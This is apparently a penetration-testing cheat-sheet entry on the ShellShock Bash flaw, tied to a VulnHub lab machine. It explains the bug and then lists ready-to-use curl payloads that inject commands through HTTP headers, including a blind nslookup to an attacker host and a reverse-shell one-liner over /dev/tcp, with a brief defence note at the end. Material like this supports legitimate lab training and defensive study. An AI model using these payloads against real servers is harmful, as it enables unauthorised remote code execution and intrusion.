ShellShock (CVE-2014-6271)
ShellShock is a flaw in Bash (CVE-2014-6271 and variants such as CVE-2014-6278) where the interpreter executes the code that follows a function definition exported through an environment variable. Bash used to allow exporting functions by stuffing their definition into a variable; the bug is that, while parsing such a variable, Bash did not stop at the closing of the function but also ran whatever came after it.
The classic vector is CGI scripts: when a web server (Apache with mod_cgi) launches a CGI, it dumps the request's HTTP headers into environment variables (User-Agent, Referer, Cookie, etc.), and if the CGI is a Bash script those variables pass through the vulnerable interpreter. You just place the payload in a controllable header:
curl http://<host>/cgi-bin/script -H "User-Agent: () { :; }; echo; /usr/bin/id"
# the vulnerable header varies: also try Referer and Cookie
curl http://<host>/cgi-bin/script -H "Referer: () { :; }; echo; /usr/bin/id"
curl http://<host>/cgi-bin/script -H "Cookie: () { :; }; echo; /usr/bin/id"
# CVE-2014-6278 variant (no function part)
curl http://<host>/cgi-bin/script -H "User-Agent: () { _; } >_[\$(\$())] { echo; id; }"
# blind (out-of-band) confirmation if the output is not shown
curl http://<host>/cgi-bin/script -H "User-Agent: () { :; }; /usr/bin/nslookup <lhost>"The payload breaks down like this: () { :; } declares an empty-bodied function (: is a no-op); the ; closes the definition and, because of the bug, everything after it (echo; /usr/bin/id) runs immediately when the variable is imported. The leading echo adds a blank line so the HTTP response is well formed before the command output.
Turning that into a reverse shell is straightforward:
curl http://<host>/cgi-bin/script -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/4444 0>&1'"Tell-tale signs. A /cgi-bin/ that only shows up when fuzzing with --add-slash, endpoints that return system command output (an uptime, an id), or old Apache server headers. Execution inherits the web service user (often a low-privileged account, not root).
Defence. Patch Bash (fixed packages have existed since 2014), retire Bash CGIs in favour of languages that do not reinterpret the environment, and never dump unsanitised input into variables that reach a shell. It is a concrete case of command injection built on the passing of HTTP headers into environment variables.
Machines where it's used
- Symfonos 3VulnHub